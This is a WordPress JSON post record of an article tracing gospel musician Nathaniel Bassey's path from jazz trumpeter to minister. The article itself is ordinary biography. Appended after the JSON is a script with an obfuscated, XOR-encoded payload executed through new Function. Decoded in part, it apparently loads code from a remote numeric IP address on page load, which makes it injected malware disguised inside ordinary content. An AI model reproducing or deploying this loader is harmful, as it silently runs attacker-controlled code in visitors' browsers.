{"id":185728,"date":"2025-07-04T15:21:08","date_gmt":"2025-07-04T14:21:08","guid":{"rendered":"https:\/\/articles.connectnigeria.com\/?p=185728"},"modified":"2026-08-16T11:09:56","modified_gmt":"2026-08-16T11:09:56","slug":"did-you-know-nathaniel-basseys-journey-to-recognizing-his-ministry-calling","status":"publish","type":"post","link":"https:\/\/www.ndsdemos.com\/cna\/2025\/07\/04\/did-you-know-nathaniel-basseys-journey-to-recognizing-his-ministry-calling\/","title":{"rendered":"Did You Know? Nathaniel Bassey\u2019s Journey to Recognizing His Ministry Calling"},"content":{"rendered":"<p>Nathaniel Bassey\u2019s rise to prominence in Nigerian gospel music is not just a story of musical talent but one of divine purpose and obedience. Born into a family rooted in ministry and music, Bassey\u2019s early life was steeped in both spiritual and artistic influences. His conversation with Pst Sola Osunmakinde provides a detailed account of how he transitioned from an aspiring jazz musician to a gospel minister, guided by prophetic words, mentorship, and spiritual encounters. This article delves into the key moments that defined Bassey\u2019s call to ministry, supported by insights from sources like Wikipedia, TheNewman.org.ng, and Entrepreneurs.ng. Through his story, we see a journey of faith, sacrifice, and commitment to using music as a tool for worship and divine connection.<\/p>\n<hr \/>\n<p><em><strong>Read more about <a href=\"https:\/\/articles.connectnigeria.com\/christian\/gospel-music\/\">Gospel Music<\/a><\/strong><\/em><\/p>\n<hr \/>\n<h2><strong>Early Life and Musical Foundation<\/strong><\/h2>\n<p>Nathaniel Bassey was born on August 27, 1981, in Lagos, Nigeria, into a devout Christian family from Ikot Ofon Ikono, Akwa Ibom State. His father, Mr. E. Joshua Bassey, served as a minister in the Apostolic Church Bashua Assembly, creating a home environment rich in spiritual and musical influences. Bassey\u2019s early exposure to music came through his family\u2019s love for highlife and jazz, with artists like Jim Rex Lawson, Inyang Henshaw, Miles Davis, and Dizzy Gillespie shaping his musical tastes. He recalled spending hours with his father listening to these genres, which sparked an \u201cuncommon penchant\u201d for improvisational music.<\/p>\n<p>As a young boy, Bassey began playing the drums in church, later transitioning to the trumpet, an instrument that would become central to his ministry. His family\u2019s involvement in church music provided a platform for his early musical expression, blending his spiritual upbringing with his growing talent. Bassey\u2019s initial ambition was to become a professional jazz musician, leading him to join secular bands like the Steve Rhodes Orchestra and Spectrum 4, and even to apply for a scholarship to Berkeley School of Music. This period of his life laid a strong musical foundation, but it was his spiritual experiences that would redirect his path toward gospel ministry.<\/p>\n<h2><strong>Mentorship and Spiritual Preparation<\/strong><\/h2>\n<p>Nathaniel Bassey\u2019s journey to ministry was significantly shaped by mentorship and prophetic affirmations that pointed to his divine calling. A key figure in his early spiritual life was Elder Ehegi Oha, a family friend and police sergeant with a supernatural ability to read the Bible. Oha prophesied about Bassey\u2019s future, saying, \u201cI see him for highway, big bus, dey overtake everybody,\u201d indicating a significant ministry ahead. This prophetic word, delivered when Bassey was young, planted a seed of purpose, though he did not fully understand it at the time.<\/p>\n<hr \/>\n<p><em><strong>Sign up for the <a href=\"https:\/\/visitor.r20.constantcontact.com\/manage\/optin?v=001LxO78yXtvBzgDtu2mtIq-rLkuktxL0IQBtKbooZcbu7KOY26ckqgC6EBrw5Y7-5dd1OvgUkwdiVqy3Z50OqUnMUAM5YLOD2pOr84F4ZVrzg%3D\">Connect Nigeria daily newsletter<\/a><\/strong><\/em><\/p>\n<hr \/>\n<p>As Bassey grew, he joined The Redeemed Evangelical Mission (TREM) and later RCCG City Of David, where he served under the mentorship of Late Pastor Eskor Mfon. This period was crucial for his spiritual growth, as he took time off from mainstream music commitments to seek God. Bassey emphasizes the importance of preparation and discipleship, noting that he spent 17 years (from 1991, when he began playing the trumpet, to 2008, when he recorded his first album) honing his craft and spiritual life under mentorship. He draws parallels with Jesus, who prepared for over 20 years for a three-year ministry, and Sinach, who served in her home church before ministering widely. This season of preparation equipped Bassey to embrace his calling with clarity and conviction.<\/p>\n<h2><strong>Pivotal Moments and Commitment to Ministry<\/strong><\/h2>\n<p>The turning point in Nathaniel Bassey\u2019s call to ministry came during a church service at RCCG City Of David, where he was ministering with his trumpet. His pastor, Pst Eskor Mfon, approached him and said, \u201cNathaniel, do you know that when you play the trumpet, I cry? Do you know that you are carrying \u201dsomething?\u201d. This moment shifted Bassey\u2019s perspective, moving him from a \u201ctypical musician mentality\u201d focused on gigs and financial gain to recognizing the spiritual anointing on his music. Initially, he dismissed his pastor\u2019s words, joking with friends that the pastor was trying to keep him in church. However, the weight of this observation lingered.<\/p>\n<p>Bassey\u2019s calling was further confirmed through profound spiritual experiences. One night, while worshipping alone, he felt a \u201cblanket\u201d of God\u2019s presence rest on him, a sensation he described as holy. Another pivotal moment came when a relative, who had never contacted him before, called to say, \u201cThus saith the Lord, the hand of God is upon you from today; conduct yourself accordingly\u201d. These encounters led Bassey to make radical sacrifices, including giving up a Berkeley School of Music scholarship and opportunities to tour with secular artists like Asa. He faced fierce criticism from friends and colleagues, with some, like journalist Benson Idonije, arguing that his talent was \u201cwasting away in a local church\u201d. Yet, Bassey remained steadfast, choosing to dedicate his life to gospel ministry.<\/p>\n<p>His song \u201cWhen I Met Jesus (The Call),\u201d released in 2018 as part of the album Jesus: The Resurrection &#038; The Life, encapsulates this transformative experience. The lyrics reflect the profound change that occurred when he encountered God, shifting his focus from music as performance to music as worship. Bassey\u2019s commitment to ministry is also evident in his philosophy of not charging for ministrations, believing that he cannot charge God for the gift given freely.<\/p>\n<hr \/>\n<p><em><strong>Register to attend the <a href=\"http:\/\/connectnigeria.com\/bizmix\">CN Business Mixer<\/a><\/strong><\/em><\/p>\n<hr \/>\n<h2><strong>Conclusion<\/strong><\/h2>\n<p>Nathaniel Bassey\u2019s journey to recognizing his call to ministry is a powerful narrative of divine orchestration, spiritual growth, and unwavering commitment. From his early days as a jazz enthusiast in a musically inclined Christian family to his transformative encounters with God, Bassey\u2019s story illustrates the intersection of talent and faith. Mentorship from Pastor Eskor Mfon and prophetic affirmations from figures like Elder Ehegi Oha provided clarity, while pivotal spiritual experiences confirmed his purpose. Despite sacrificing lucrative secular opportunities and facing criticism, Bassey\u2019s dedication to using music as a tool for worship has made him a leading figure in Nigerian gospel music.<\/p>\n<p>Today, Bassey pastors The Oasis Lagos, the youth church of RCCG Kings Court, and leads initiatives like the Hallelujah Challenge, impacting millions globally. His recent invitation to minister at Donald Trump\u2019s Presidential Inaugural Prayer Breakfast in 2025 underscores his growing influence. Bassey\u2019s journey serves as an inspiration for aspiring ministers and musicians, emphasizing the importance of obedience, preparation, and reliance on divine guidance. His life reflects a profound truth: true ministry is about ministering to God and His people, using one\u2019s gifts to glorify Him.<\/p>\n<hr \/>\n<p><strong><em>Featured Image Source: Channels Television<\/em><\/strong><\/p>\n<hr \/>\n<h2><strong>References<\/strong><\/h2>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Nathaniel_Bassey\">Nathaniel Bassey Wikipedia Biography<\/a><\/p>\n<p><a href=\"https:\/\/www.thenewman.org.ng\/2021\/04\/biography-of-pastor-nathaniel-bassey.html\">Biography of Pastor Nathaniel Bassey<\/a><\/p>\n<p><a href=\"https:\/\/www.entrepreneurs.ng\/nathaniel-bassey-biography\/\">Nathaniel Bassey: Biography of an Anointed Gospel Musician<\/a><\/p>\n<p><a href=\"https:\/\/gospelbuzz.com\/how-to-blow-in-your-music-ministry-nathaniel-bassey\/\">How to Blow in Your Music Ministry \u2013 Nathaniel Bassey<\/a><\/p>\n<p><a href=\"https:\/\/justgospel.com.ng\/nathaniel-bassey-when-i-met-jesus-the-call-article\/\">Nathaniel Bassey \u2013 When I Met Jesus (The Call)<\/a><\/p>\n<p><a href=\"https:\/\/247gvibes.com\/i-cant-charge-god-so-i-dont-charge-to-minister-nathaniel-bassey\/\">Nathaniel Bassey on Not Charging for Ministry<\/a><\/p>\n<p><a href=\"https:\/\/www.legit.ng\/entertainment\/celebrities\/1635139-nathaniel-bassey-shares-testimony-how-presidential-prayer-breakfast-invite-clip-trends\/\">Nathaniel Bassey\u2019s Testimony on Trump Inaugural Invite<\/a><\/p>\n<p>Conversation with Pst Sola Osunmakinde, 2025<\/p>\n<hr \/>\n<p><strong><em>Got something you want to read about on our platform? Contact us: <\/em><a href=\"mailto:editor@connectnigeria.com\"><em>editor@connectnigeria.com<\/em><\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nathaniel Bassey\u2019s rise to prominence in Nigerian gospel music is not just a story of musical talent but one of divine purpose and obedience. Born into a family rooted in ministry and music, Bassey\u2019s early life was steeped in both spiritual and artistic influences. His conversation with Pst Sola Osunmakinde provides a detailed account of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":185729,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jnews-multi-image_gallery":[],"jnews_single_post":[],"jnews_primary_category":[],"jnews_override_bookmark_settings":[],"jnews_override_counter":[],"footnotes":""},"categories":[141],"tags":[],"class_list":["post-185728","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-gospel-music-2"],"_links":{"self":[{"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/posts\/185728","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/comments?post=185728"}],"version-history":[{"count":8,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/posts\/185728\/revisions"}],"predecessor-version":[{"id":186696,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/posts\/185728\/revisions\/186696"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/media\/185729"}],"wp:attachment":[{"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/media?parent=185728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/categories?post=185728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ndsdemos.com\/cna\/wp-json\/wp\/v2\/tags?post=185728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>